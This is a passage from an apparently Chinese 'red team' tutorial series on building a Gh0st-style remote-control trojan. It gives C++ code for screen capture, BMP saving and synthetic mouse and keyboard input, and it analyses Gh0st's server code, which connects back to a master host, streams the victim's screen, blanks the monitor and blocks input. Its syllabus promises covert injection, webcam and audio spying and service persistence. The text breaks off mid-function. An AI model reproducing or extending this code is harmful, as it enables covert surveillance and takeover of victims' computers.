红队专题
- 招募六边形战士队员
- [24]屏幕监控-(1)屏幕查看与控制技术的讲解
- 图像压缩算法
- 图像数据转换
- 其他
- [25]---屏幕监控(2)查看屏幕的实现
- 添加 CScreen类
- 获取图像
- 声明变量
- stdafx.h 头文件处理
- 发送函数
- 7.1 屏幕抓图显示
- 创建对话框工程,拉入图片显示控件
- 修改控件为位图 为控件增加变量
- 类CScreen_demoDlg添加Copybitmap成员函数
- 添加确定按钮消息并添加代码
- BMP位图结构分析,将抓取的图像保存成文件
- BITMAP 位图结构
- bmp文件结构解析
- tagBITMAPFIlEHEADER
- BITMAPINFOHEADER
- 调色板数据 tagRGBQUAD
- tagBITMAPINFO
- 位图数据
- 保存 bmp 图像
- 添加类的成员函数
- 7.3 虚拟键盘和虚拟鼠标的一个小demo
- 认识几个API
- SetCursorPos
- mouse_event
- keybd_event
- 添加相应变量
- 7.4 gh0st远程桌面管理的分析 抓取与传输
- 文件望远镜搜索OnScreenspy() 事件
- Loop_ScreenManager
- CScreenManager 构造函数
- WorkThread
- CScreenSpy构造函数
- ConstructBI 函数定义
- sendFirstScreen
- 7.5 服务端编写
- 7.6 主控端的编写
- 7.7 完善主控端
- 桌面管理并添加代码
招募六边形战士队员
一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
[24]屏幕监控-(1)屏幕查看与控制技术的讲解
屏幕监控的流程
服务端
while(true)
{获取图像数据();//发送图像数据();
}客户端
while()
{//接受图像数据();显示图像();
}
查看屏幕的 define 宏信号
1024*768 分辨率 产生 大小 bmp
2.25M
肉眼 每秒24帧
基本流程:获取图像 — 发送图像 — 显示图像
实际流程:获取图像 — 压缩/转换图像 — 发送图像 — 解压/转换图像 — 显示图像
图像压缩算法
char *p; // 字符数组
int GetScreenSize();
p = new GetScreenSize(); p[] = {BYTE}; //unsigned char
p[100] = {aaaccccbbbbbbaeccefsgsdf...};
RLE算法(Run-Length Encoding) LZW算法(Lempel-Ziv-Welch Encoding) 霍夫曼压缩 RAR - LZW
RLE:{aaaccccbbbbbba} 压缩{a3c4b5a1} 解压{aaaccccbbbbba}
适用于屏幕数据中存在大量同样数据
RLE变种:{abcbcbcbcabcbca} 压缩{a1bc4a1bc2a1}
LZW:{abcbcbcbcabcbcab} 压缩字典{ab:1 cb:2 ca:3}{12223221}
解压:根据字典来解压 适用于任何情况
图像数据转换
zlib.lib JPEG类(有损压缩)
1024*768 分辨率
164kb
http://www.cctry.com/thread-50457-1-1.html //zlib库的使用
http://www.cctry.com/thread-5653-1-1.html //zlib库的例子
CapScreenJpeg JPEG算法
其他
隔行扫描算法 屏幕分块获取 屏幕数据判断
http://www.cctry.com/thread-45471-1-1.html //隔行扫描
隔行扫描:
灰鸽子 Delphi
DRAT Delphi
Gh0st C++
LZW:
Vipshell
守候远控
压缩库
PCShare
综合使用 + 汇编实现
1:150 倍
[25]—屏幕监控(2)查看屏幕的实现
多线程 + 阻塞socket
1000-2000台
完成端口
60000 自由管理
DLL形式 注入-无进程
屏幕传输的压缩解压方案
键盘钩子
try优化
定制化远控
界面
命令
传输结构体
server.cpp 安装服务的操作 主函数中 入口 注释 保留创建服务
int _tmain(int argc, _TCHAR* argv[])
{/*SERVICE_TABLE_ENTRY DispatchTable[] ={//服务程序的名称和入口点{(wchar_t*)ServiceName,ServiceMain}, //服务名//SERVICE_TABLE_ENTRY结构必须以“NULL”结束{NULL,NULL}};//连接服务控制管理器,开始控制调度程序线程StartServiceCtrlDispatcherW(DispatchTable);InstallService();*/::CloseHandle(CreateThread(NULL,0,RunService,NULL,0,NULL));while(true){Sleep(10000);}return 0;
}
创建线程 点击主机Runservice
子系统 入口点
//#pragma comment( linker, “/subsystem:windows /entry:wmainCRTStartup” )
有命令行能够显示
添加 CScreen类
获取图像
#include “StdAfx.h”
#include “Screen.h”
#include “math.h”
void CScreen::GetScreen()
{CDC* pDeskDC = CWnd::GetDesktopWindow()->GetDC(); //获取桌面画布对象 设备描述表CDC类指针 当前画布的GDI句柄CRect rc; // 定义矩形CWnd::GetDesktopWindow()->GetClientRect(rc); //获取屏幕的客户区域int width = GetSystemMetrics(SM_CXSCREEN); //获取屏幕的宽度int height = GetSystemMetrics(SM_CYSCREEN); //获取屏幕的高度CDC memDC; //定义一个内存画布memDC.CreateCompatibleDC(pDeskDC); //创建一个兼容的画布CBitmap bmp;bmp.CreateCompatibleBitmap(pDeskDC,width,height); //创建兼容位图memDC.SelectObject(&bmp); //选中位图对象BITMAP bitmap;bmp.GetBitmap(&bitmap);panelsize = 0; //记录调色板大小 类成员 double panelsize;//需要增加颜色判断算法//bitmap.bmBitsPixel = 4; //更改颜色if (bitmap.bmBitsPixel<16) //判断是否为真彩色位图{panelsize = pow(2.0,(double)bitmap.bmBitsPixel*sizeof(RGBQUAD));}HeadTotal = (int)panelsize + sizeof(BITMAPINFO);pBMPINFO = (BITMAPINFO*)LocalAlloc(LPTR,sizeof(BITMAPINFO)+(int)panelsize); // 结构体 BITMAPINFO *pBMPINFO;pBMPINFO->bmiHeader.biBitCount = bitmap.bmBitsPixel;//4 pBMPINFO->bmiHeader.biClrImportant = 0;pBMPINFO->bmiHeader.biCompression = 0;pBMPINFO->bmiHeader.biHeight = height;pBMPINFO->bmiHeader.biPlanes = bitmap.bmPlanes;pBMPINFO->bmiHeader.biSize = sizeof(BITMAPINFO); // 位图大小 像素大小 pBMPINFO->bmiHeader.biSizeImage = bitmap.bmWidthBytes*bitmap.bmHeight;pBMPINFO->bmiHeader.biWidth = width;pBMPINFO->bmiHeader.biXPelsPerMeter = 0;pBMPINFO->bmiHeader.biYPelsPerMeter = 0;memDC.BitBlt(0,0,width,height,pDeskDC,0,0,SRCCOPY); // 绘画 TotalSize = bitmap.bmWidthBytes * bitmap.bmHeight;pData = new BYTE[TotalSize]; // 压缩发送 类成员 私有变量 无符号指针if(::GetDIBits(memDC.m_hDC,bmp,0,bitmap.bmHeight,pData,pBMPINFO,DIB_RGB_COLORS)==0){printf("Return 0\n");//delete pData;pData = NULL;return;}
}
声明变量
#include "Common.h"
#include "MySocket.h"class CScreen
{
private:void GetScreen();void SendBmpHeaderinfo();void SendBmpData();BYTE* pData;BITMAPINFO *pBMPINFO; CMySocket m_sock;UINT TotalSize;int HeadTotal;double panelsize;
public:HANDLE m_h;void CleanData();void SendScreenData();CScreen(void);~CScreen(void);bool flag;SOCKET m_sock_screen;
};
stdafx.h 头文件处理
// stdafx.h : 标准系统包含文件的包含文件,
// 或是经常使用但不常更改的
// 特定于项目的包含文件
//#pragma once#include <afx.h>
#include <afxwin.h>
#include "targetver.h"#include <stdio.h>
#include <tchar.h>// TODO: 在此处引用程序需要的其他头文件
#include <winsock2.h>
#include <windows.h>
发送函数
-
头信息
-
位图信息
7.1 屏幕抓图显示
客户端: visual stdio2010 (学员自己下载,安装)
服务端: visual C++ 6.0 +platform SDK February2003 (学员自己下载,安装)
MSDN文档
https://learn.microsoft.com/zh-cn/
(1)大规模软件开发的设计思想。
(2)Windows下图形界面编程、各种控件的实际应用(本教程将会使用到各种Windows控件)。
(3)Windows下多线程程序的开发、以及线程同步,互斥等。
(4)Windows下程序间利用Socket通信。
(5)详细理解Winddos下远程注入技术。
(6)Windows服务程序的开发。(服务方式启动是服务端启动方式的一种)
(7)如何书写更加简洁 ,易于维护的代码。
通过本教程学员将得到:
(1) 本远程管理的源代码。
(2) 教程中所有Demo的源码。
(3) 作者的一些小工具。
课时安排:(每节课20—30分钟,太长的教程看了就想睡觉:-D)
(1) 客户端界面的设计和编写(10课时)(注:支持窗口的伸缩以及窗口中控件的伸缩)
(2) 从Gh0st客户端中分离出Socket数据传输的内核、分析数据传输的代码体会作者的设计思想,并加入客户端(5课时)
(3) 创建服务端,并从Gh0st服务端中分离出Socket数据传输的内核,分析数据传输的代码体会作者的设计思想,并加入服务端(5课时)
(4) 远程终端管理的编写(5课时)
(5) 远程进程管理的编写(4课时)
(6) 远程窗口管理的编写(4课时)(注:支持窗口的隐藏,最大化,最小化)
(7) 远程桌面管理的编写(6课时)(注:可以从中学习到BMP位图格式,屏幕的抓取,像素的比较)
(8) 远程文件管理的编写(6课时)
(9) 远程语音管理的编写(4课时)
(10) 远程视频管理的编写(6课时)(注:支持无驱摄像头,视频压缩,视频录像)
(11) 服务端安装和启动的编写:服务启动(5课时)ActiveX启动(4课时)
(12) 远程服务管理的编写(6课时)
(13) 远程注册表管理的编写(6课时)
(14) 从客户端生成服务端,远程连接数据加密(4课时)
HDC CreateDC( //得到指定设备名的设备描述表LPCTSTR lpszDriver, // driver name 设备名LPCTSTR lpszDevice, // device name 特殊设备名LPCTSTR lpszOutput, // not used; should be NULL 通常设置为NULL 兼容x86x64CONST DEVMODE* lpInitData // optional printer data 驱动程序的初始化DEVMODE结构指针 NULL
);得到设备名将设备打开HDC CreateCompatibleDC( //为设备描述表创建兼容的内存`设备描述表`HDC hdc // handle to DC 设备句柄
);返回值为设备的内存描述表
将打开的设备描述表选定到内存int GetDeviceCaps( //得到指定设备的信息 高度 宽度HDC hdc, // handle to DC //设备句柄 设备描述表int nIndex // index of capability //指定要得到那个方面的信息
);
https://learn.microsoft.com/zh-cn/windows/win32/api/wingdi/nf-wingdi-getdevicecapsHBITMAP CreateCompatibleBitmap( // 创建一个与设备描述表兼容的位图HDC hdc, // handle to DC //设备描述表int nWidth, // width of bitmap, in pixels //位图的宽度int nHeight // height of bitmap, in pixels //位图的高度
);HGDIOBJ SelectObject( 把对象选到内存设备描述表中 HDC hdc, // handle to DC //设备描述表HGDIOBJ hgdiobj // handle to object //要加入的对象
);设备描述表与新加入的对象兼容关联 BOOL BitBlt( //对指定的原设备环境区域中的像素进行位块转换 可以理解为抓图HDC hdcDest, // handle to destination DC //设备对象 int nXDest, // x-coord of destination upper-left corner //目标矩型区域的左上角x坐标int nYDest, // y-coord of destination upper-left corner //目标矩形区域的左上角y坐标int nWidth, // width of destination rectangle //目标巨型区域的逻辑宽度int nHeight, // height of destination rectangle //目标巨型区域的逻辑高度HDC hdcSrc, // handle to source DC //源设备句柄int nXSrc, // x-coordinate of source upper-left corner //源矩型区域的左上角x坐标int nYSrc, // y-coordinate of source upper-left corner //源矩型区域的左上角y坐标DWORD dwRop // raster operation code //光栅操作代码
);
创建对话框工程,拉入图片显示控件
新建工程 基本对话框
修改控件为位图 为控件增加变量
类CScreen_demoDlg添加Copybitmap成员函数
HBITMAP
Copybitmap(LPRECT lprect)
给区域 拷贝出来 bitmap
HDC hscrdc, hmemdc;// 屏幕和内存设备描述表 HBITMAP hbitmap, holdbitmap;// 位图句柄 int nx, ny, nx2, ny2;// 选定区域坐标 int nwidth, nheight;// 位图宽度和高度 int xscrn, yscrn;// 屏幕分辨率 // 确保选定区域不为空矩形if (IsRectEmpty(lprect))return NULL;//为屏幕创建设备描述表 整个桌面 hscrdc = CreateDC("display", NULL, NULL, NULL);//为屏幕设备描述表创建兼容的内存设备描述表hmemdc = CreateCompatibleDC(hscrdc);// 获得选定区域坐标nx = lprect->left;ny = lprect->top;nx2 = lprect->right;ny2 = lprect->bottom;// 获得屏幕分辨率xscrn = GetDeviceCaps(hscrdc, HORZRES);yscrn = GetDeviceCaps(hscrdc, VERTRES);//确保选定区域是可见的if (nx < 0)nx = 0;if (ny < 0)ny = 0;if (nx2 > xscrn)nx2 = xscrn;if (ny2 > yscrn)ny2 = yscrn;nwidth = nx2 - nx;nheight = ny2 - ny;// 创建一个与屏幕设备描述表兼容的位图hbitmap = CreateCompatibleBitmap(hscrdc, nwidth, nheight);// 把新位图选到内存设备描述表中holdbitmap = (HBITMAP)SelectObject(hmemdc, hbitmap);// 把屏幕设备描述表拷贝到内存设备描述表中BitBlt(hmemdc, 0, 0, nwidth, nheight,hscrdc, nx, ny, SRCCOPY);//得到屏幕位图的句柄hbitmap = (HBITMAP)SelectObject(hmemdc, holdbitmap);//清除 DeleteDC(hscrdc);DeleteDC(hmemdc);// 返回位图句柄return hbitmap;
添加确定按钮消息并添加代码
LPRECT temprect; //创建一块区域HBITMAP tempmap;temprect = new RECT();temprect->bottom = 200;temprect->left = 0;temprect->right = 200;temprect->top = 0;tempmap = Copybitmap(temprect);//显示获取的屏幕m_pic.SetBitmap(tempmap);delete temprect;//CDialog::OnOK();
更改资源名 IDC_STATIC_BITMAP
添加变量 m_pic 为 控件形式
c + w
BMP位图结构分析,将抓取的图像保存成文件
BITMAP 位图结构
遵守了 微软的bmp 结构 还是一些数据
一个bmp文件由四部分组成:
struCt tagBITMAPFIlEHEADER 文件头strut tagBITMAPINFOHEADER 位图信息头typedef tagRGBQUAD RGB位图数据
bmp文件结构解析
tagBITMAPFIlEHEADER
typedef struCt tagBITMAPFIlEHEADER{WORD bftype; //BM 两个字节 头文件 表示 是个 bitmap文件DWORD bfsiZe: //位图文件大小 四个字节 双字WORD bfReservedl; //必须为0WORD bgReserved2: //必为0DWORD bfoffBits: // 图像数据在 文件内的起始地址 字节}BITMAPFILEHEADER;
高高低低
16 94 04 00 49416
16进制 --> 10进制 /1024 = 293 kb
第多少个 字节 为数据文件
36 00 00 00
36 --> 54
BITMAPINFOHEADER
BITMAPINFOHEADER数据结构用于说明位图的大小,其定义为:
type struct tagBITMAPINFOHEADER
// 结构体成员
{ DWORD biSize: //结构BITMAPINFOHEADER所占用的存储容量,固定值为40
28 00 00 00 --> 10进制 40
DWORD biWldth; //给出该BMP文件所描述位图的宽度与高度
DWORD biHeight; //给出该BMP文件所描述位图的宽度与高度C8 00 00 00 200
F4 01 00 00 1F4 500
尺寸 200 x 500WORD biPlanes: //它代表目标设备的平面数必须为1。WORD 2个字节
01 00 WORD biBitCount: //它确定每个像素所需要的位数。 当图像为单色时,该字段的取值为1;当图像为16色时,该字段的取值为4;当图像为256 色时,该字段的取值为8;当图像为真彩色时,该字段的取值为24。18 -> 24DWORD biCOmpression;//它代表bottom—up类型位图的 压缩类型
E0 93 04 00 493E0 300000
DWORD 8个字节
4xBYTE = DWORD
4x2 = 8 bit
DWORD biSiZelmage; //给出该BMP 内图像数据占用的空间大小DWORD biXPelsPerMeter://它们分别以每米像素数为单位,给出位图目的设备水平以及垂直方向的 分辨率DWORD biYPelsPerMeter://它们分别以每米像素数为单位,给出位图目的设备水平以及垂直方向的 分辨率DWORD biClrUsed; //给出位图实际使用的颜色表中的 颜色变址数DWORD biClrlmportant;//它给出位图显示过程中 重要颜色的变址数。}BITMAPINFOHEADER;
调色板数据 tagRGBQUAD
typedef struct tagRGBQUAD{BYTE rgbBlue;BYTE rgbGreen;BYTE rgbRed; BYTE rgbReserved; //它不代表任何意 义,必须取固定值00}RGBQUAD;
tagBITMAPINFO
bmp结构还提供了另外一个结构类型
成员定义
tyPedef stmCt tagBITMAPINFO {BITMAPINFOHEADER bmiHeader: RGBQUAD bmiC010ur[1];}BITMAPINFO;
位图数据
注意位图数据的存放是倒序的 文件的第一行正是图像的最后一行
保存 bmp 图像
添加类的成员函数
BOOL
SaveBmp(CString lpFileName, HBITMAP hBitmap)
HDC hDC; //设备描述表int iBits; //当前显示分辨率下每个像素所占字节数WORD wBitCount; //位图中每个像素所占字节数//定义调色板大小, 位图中像素字节大小 , 位图文件大小 , 写入文件字节数DWORD dwPaletteSize=0,dwBmBitsSize,dwDIBSize, dwWritten;BITMAP Bitmap; //位图属性结构BITMAPFILEHEADER bmfHdr; //位图文件头结构BITMAPINFOHEADER bi; //位图信息头结构 LPBITMAPINFOHEADER lpbi; //指向位图信息头结构 lp 指针 需要分配空间使用HANDLE fh, hDib, hPal;HPALETTE hOldPal=NULL;//定义文件,分配内存句柄,调色板句柄//计算位图文件每个像素所占字节数hDC = CreateDC("DISPLAY",NULL,NULL,NULL);iBits = GetDeviceCaps(hDC, BITSPIXEL) * GetDeviceCaps(hDC, PLANES);DeleteDC(hDC);iBits=24;if (iBits <= 1)wBitCount = 1;else if (iBits <= 4)wBitCount = 4;else if (iBits <= 8)wBitCount = 8;else if (iBits <= 24)wBitCount = 24;elsewBitCount = 32;//计算调色板大小if (wBitCount <= 8)dwPaletteSize=(1<<wBitCount)*sizeof(RGBQUAD);//设置位图信息头结构GetObject(hBitmap, sizeof(BITMAP), (void*)&Bitmap);bi.biSize = sizeof(BITMAPINFOHEADER);bi.biWidth = Bitmap.bmWidth;bi.biHeight = Bitmap.bmHeight;bi.biPlanes = 1;bi.biBitCount = wBitCount;bi.biCompression = BI_RGB;bi.biSizeImage = 0;bi.biXPelsPerMeter = 0;bi.biYPelsPerMeter = 0;bi.biClrUsed = 0;bi.biClrImportant = 0;dwBmBitsSize = ((Bitmap.bmWidth*wBitCount+31)/32)*4*Bitmap.bmHeight;//为位图内容分配内存hDib = GlobalAlloc(GHND,dwBmBitsSize+dwPaletteSize+sizeof(BITMAPINFOHEADER));lpbi = (LPBITMAPINFOHEADER)GlobalLock(hDib);*lpbi = bi;// 处理调色板 hPal = GetStockObject(DEFAULT_PALETTE);if (hPal){hDC = ::GetDC(NULL);hOldPal=SelectPalette(hDC,(HPALETTE)hPal,FALSE);RealizePalette(hDC);}// 获取该调色板下新的像素值GetDIBits(hDC,hBitmap,0,(UINT)Bitmap.bmHeight,(LPSTR)lpbi+sizeof(BITMAPINFOHEADER)+dwPaletteSize, (BITMAPINFO *)lpbi,DIB_RGB_COLORS);//恢复调色板 if (hOldPal){SelectPalette(hDC, hOldPal, TRUE);RealizePalette(hDC);::ReleaseDC(NULL, hDC);}//创建位图文件 fh=CreateFile(lpFileName, GENERIC_WRITE,0, NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, NULL);if (fh==INVALID_HANDLE_VALUE)return FALSE;// 设置位图文件头bmfHdr.bfType = 0x4D42; // "BM"dwDIBSize=sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+dwPaletteSize+dwBmBitsSize; bmfHdr.bfSize = dwDIBSize;bmfHdr.bfReserved1 = 0;bmfHdr.bfReserved2 = 0;bmfHdr.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER)+(DWORD)sizeof(BITMAPINFOHEADER)+dwPaletteSize;// 写入位图文件头WriteFile(fh, (LPSTR)&bmfHdr, sizeof(BITMAPFILEHEADER), &dwWritten, NULL);// 写入位图文件其余内容WriteFile(fh, (LPSTR)lpbi, sizeof(BITMAPINFOHEADER)+dwPaletteSize+dwBmBitsSize , &dwWritten, NULL); //清除 GlobalUnlock(hDib);GlobalFree(hDib);CloseHandle(fh);return TRUE;
void CMy_ScreenDlg::OnOK()
{m_pic.SetBitmap(tempmap);delete temprect;SaveBmp("123.bmp",tempmap);//CDialog::OnOK();
}
7.3 虚拟键盘和虚拟鼠标的一个小demo
认识几个API
SetCursorPos
左上
BOOL SetCursorPos( //将光标移动到指定位置 int X, //光标位置int Y);
mouse_event
VOID mouse_event( //合成鼠标动作DWORD dwFlags, //动作的标识DWORD dx, //将要发生动作的位置相对于当前位置的距离DWORD dy, //DWORD dwData, 如果dwFlags标识中含有MOUSEEVENTF_HWHEEL值,这个参数包含滚动的值ULONG_PTR dwExtraInfo //附加值);
https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-mouse_event
MOUSEEVENTF_LEFTDOWN
0x0002
MOUSEEVENTF_LEFTUP
0x0004
MOUSEEVENTF_RIGHTDOWN
0x0008
MOUSEEVENTF_RIGHTUP
0x0010
keybd_event
VOID keybd_event( //合成键盘击键动作 BYTE bVk, //虚拟键值BYTE bScan, //硬件扫描码DWORD dwFlags, //按下或抬起的状态PTR dwExtraInfo //附加值
);
https://learn.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-keybd_event
KEYEVENTF_EXTENDEDKEY
0x0001
KEYEVENTF_KEYUP
0x0002
添加相应变量
添加鼠标"左键单击"并添加代码:UpdateData();SetCursorPos(m_x, m_y); //鼠标移动到指定位置mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); //按下鼠标Sleep(10); mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); //抬起鼠标
添加鼠标"右键单击"并添加代码:UpdateData();SetCursorPos(m_x, m_y); //鼠标移动到指定位置mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0); //按下鼠标Sleep(10);mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0); //抬起鼠标添加键盘"按下"事件并添加代码:UpdateData(TRUE);Sleep(100);GetDlgItem(IDC_EDIT4)->SetFocus(); // 放置焦点keybd_event(m_key, MapVirtualKey(m_key, 0), 0, 0);Sleep(1);keybd_event(m_key, MapVirtualKey(m_key, 0), KEYEVENTF_KEYUP, 0);添加键盘"抬起"事件并添加代码:UpdateData(TRUE);Sleep(100);GetDlgItem(IDC_EDIT4)->SetFocus();//keybd_event(m_key, MapVirtualKey(m_key, 0), 0, 0);//Sleep(1);keybd_event(m_key, MapVirtualKey(m_key, 0), KEYEVENTF_KEYUP, 0);ASCII码 美国信息交换标准代码
65 66 67
abc
7.4 gh0st远程桌面管理的分析 抓取与传输
从用户的点击菜单事件开始分析
文件望远镜搜索OnScreenspy() 事件
void CPcView::OnScreenspy()
{// TODO: Add your command handler code hereBYTE bToken = COMMAND_SCREEN_SPY; // 发送命令SendSelectCommand(&bToken, sizeof(BYTE));
}
在服务端 搜索 CKernelManager.cpp OnReceive
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize) // 收到消息case COMMAND_SCREEN_SPY: // 屏幕查看m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager, (LPVOID)m_pClient->m_Socket, 0, NULL, true);break;
创建了个 线程
Loop_ScreenManager
Loop_ScreenManager
DWORD WINAPI Loop_ScreenManager(SOCKET sRemote)
{CClientSocket socketClient;if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))return -1;CScreenManager manager(&socketClient);socketClient.run_event_loop();return 0;
}
CScreenManager 构造函数
//csereenManager这个类主要用于抓取好的数据的传输和一些控制的功能
CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
{m_bAlgorithm = ALGORITHM_SCAN; // 屏幕扫描算法m_biBitCount = 8;m_pScreenSpy = new CScreenSpy(8);m_bIsWorking = true;m_bIsBlankScreen = false;m_bIsBlockInput = false;m_bIsCaptureLayer = false;
//启动两个功能 ControlThread 用于 主控端对服务器的控制//workthread 的分析m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
}
// 创建这个线程主要是为了保持一直黑屏
DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam)
{static bool bIsScreenBlanked = false;CScreenManager *pThis = (CScreenManager *)lparam;while (pThis->IsConnect()){// 加快反应速度for (int i = 0; i < 100; i++){if (pThis->IsConnect()){// 分辨率大小改变了if (pThis->IsMetricsChange())pThis->ResetScreen(pThis->GetCurrentPixelBits());
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
}Sleep(10);}elsebreak;}if (pThis->m_bIsBlankScreen){SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);bIsScreenBlanked = true;}else{if (bIsScreenBlanked){SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);bIsScreenBlanked = false;}}BlockInput(pThis->m_bIsBlockInput);// 分辨率大小改变了if (pThis->IsMetricsChange())pThis->ResetScreen(pThis->GetCurrentPixelBits());}BlockInput(false);return -1;
}
WorkThread
DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
{CScreenManager *pThis = (CScreenManager *)lparam;pThis->sendBITMAPINFO();// 发送bmp位图结构// 等控制端对话框打开pThis->WaitForDialogOpen();// 等待 主控回应pThis->sendFirstScreen(); //发送第一帧的数据try // 控制端强制关闭时会出错{while (pThis->m_bIsWorking)pThis->sendNextScreen(); //发送接下来的 数据}catch(...){};
// CScreenSpy 类return 0;
}void CScreenManager::sendBITMAPINFO()
{//m_pScreenSpy 这个变量的 定义 就是 CScreenSpy类 .h CScreenSpy *m_pScreenSpy;//得到 bmp 结构大小DWORD dwBytesLength = 1 + m_pScreenSpy->getBISize();LPBYTE lpBuffer = (LPBYTE)VirtualAlloc(NULL, dwBytesLength, MEM_COMMIT, PAGE_READWRITE);lpBuffer[0] = TOKEN_BITMAPINFO;memcpy(lpBuffer + 1, m_pScreenSpy->getBI(), dwBytesLength - 1);Send(lpBuffer, dwBytesLength);VirtualFree(lpBuffer, 0, MEM_RELEASE);
}UINT CScreenSpy::getBISize()
{int color_num = m_biBitCount <= 8 ? 1 << m_biBitCount : 0;return sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));
}LPBITMAPINFO CScreenSpy::getBI()
{return m_lpbmi_full;
}
//将位图结构 返回
CScreenSpy构造函数
CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
{//查看 桌面 所用的 像素位switch (biBitCount){case 1:case 4:case 8:case 16:case 32:m_biBitCount = biBitCount;break;default:m_biBitCount = 8;}if (!SelectInputWinStation()) // 得到 当前用户控制台 {m_hDeskTopWnd = GetDesktopWindow(); //得到桌面窗口m_hFullDC = GetDC(m_hDeskTopWnd); //获取 DC}m_dwBitBltRop = SRCCOPY;m_bAlgorithm = ALGORITHM_SCAN; // 默认使用隔行扫描算法m_dwLastCapture = GetTickCount();m_nMaxFrameRate = nMaxFrameRate;m_dwSleep = 1000 / nMaxFrameRate;m_bIsGray = bIsGray;m_nFullWidth = ::GetSystemMetrics(SM_CXSCREEN);m_nFullHeight = ::GetSystemMetrics(SM_CYSCREEN); //获取屏幕大小m_nIncSize = 32 / m_biBitCount;m_nStartLine = 0;//根据 设备DC 创建 内存 DCm_hFullMemDC = ::CreateCompatibleDC(m_hFullDC);m_hDiffMemDC = ::CreateCompatibleDC(m_hFullDC);m_hLineMemDC = ::CreateCompatibleDC(NULL);m_hRectMemDC = ::CreateCompatibleDC(NULL);m_lpvLineBits = NULL;m_lpvFullBits = NULL;
// .h LPBITMAPINFO m_lpbmi_line, m_lpbmi_full, m_lpbmi_rect;//位图的 信息结构 ConstructBIm_lpbmi_line = ConstructBI(m_biBitCount, m_nFullWidth, 1);m_lpbmi_full = ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight);m_lpbmi_rect = ConstructBI(m_biBitCount, m_nFullWidth, 1);
//根据设备 DC 位图结构 创建一个 BItmap m_hLineBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_line, DIB_RGB_COLORS, &m_lpvLineBits, NULL, NULL);m_hFullBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvFullBits, NULL, NULL);m_hDiffBitmap = ::CreateDIBSection(m_hFullDC, m_lpbmi_full, DIB_RGB_COLORS, &m_lpvDiffBits, NULL, NULL);// 用 设备的 DC 创建 位图 图像 结构 保存在这 中缓冲区内
// 保证 不用保存成文件 进行发送给 主控 为位图分配了 内存空间
// HBITMAP m_hLineBitmap, m_hFullBitmap;::SelectObject(m_hFullMemDC, m_hFullBitmap);::SelectObject(m_hLineMemDC, m_hLineBitmap);::SelectObject(m_hDiffMemDC, m_hDiffBitmap);// 将内存DC 与 BITMAP 联系起来::SetRect(&m_changeRect, 0, 0, m_nFullWidth, m_nFullHeight);// 足够了m_rectBuffer = new BYTE[m_lpbmi_full->bmiHeader.biSizeImage * 2];m_nDataSizePerLine = m_lpbmi_full->bmiHeader.biSizeImage / m_nFullHeight;m_rectBufferOffset = 0;
}
ConstructBI 函数定义
为了创建位图的 结构
LPBITMAPINFO CScreenSpy::ConstructBI(int biBitCount, int biWidth, int biHeight)
{
/*
biBitCount 为1 (黑白二色图) 、4 (16 色图) 、8 (256 色图) 时由颜色表项数指出颜色表大小
biBitCount 为16 (16 位色图) 、24 (真彩色图, 不支持) 、32 (32 位色图) 时没有颜色表*/int color_num = biBitCount <= 8 ? 1 << biBitCount : 0;int nBISize = sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));BITMAPINFO *lpbmi = (BITMAPINFO *) new BYTE[nBISize];BITMAPINFOHEADER *lpbmih = &(lpbmi->bmiHeader);lpbmih->biSize = sizeof(BITMAPINFOHEADER);lpbmih->biWidth = biWidth;lpbmih->biHeight = biHeight;lpbmih->biPlanes = 1;lpbmih->biBitCount = biBitCount;lpbmih->biCompression = BI_RGB;lpbmih->biXPelsPerMeter = 0;lpbmih->biYPelsPerMeter = 0;lpbmih->biClrUsed = 0;lpbmih->biClrImportant = 0;lpbmih->biSizeImage = (((lpbmih->biWidth * lpbmih->biBitCount + 31) & ~31) >> 3) * lpbmih->biHeight;// 16位和以后的没有颜色表,直接返回if (biBitCount >= 16)return lpbmi;/*Windows 95和Windows 98:如果lpvBits参数为NULL并且GetDIBits成功地填充了BITMAPINFO结构,那么返回值为位图中总共的扫描线数。Windows NT:如果lpvBits参数为NULL并且GetDIBits成功地填充了BITMAPINFO结构,那么返回值为非0。如果函数执行失败,那么将返回0值。Windows NT:若想获得更多错误信息,请调用callGetLastError函数。*/HDC hDC = GetDC(NULL);HBITMAP hBmp = CreateCompatibleBitmap(hDC, 1, 1); // 高宽不能为0GetDIBits(hDC, hBmp, 0, 0, NULL, lpbmi, DIB_RGB_COLORS);ReleaseDC(NULL, hDC);DeleteObject(hBmp);if (m_bIsGray){for (int i = 0; i < color_num; i++){int color = 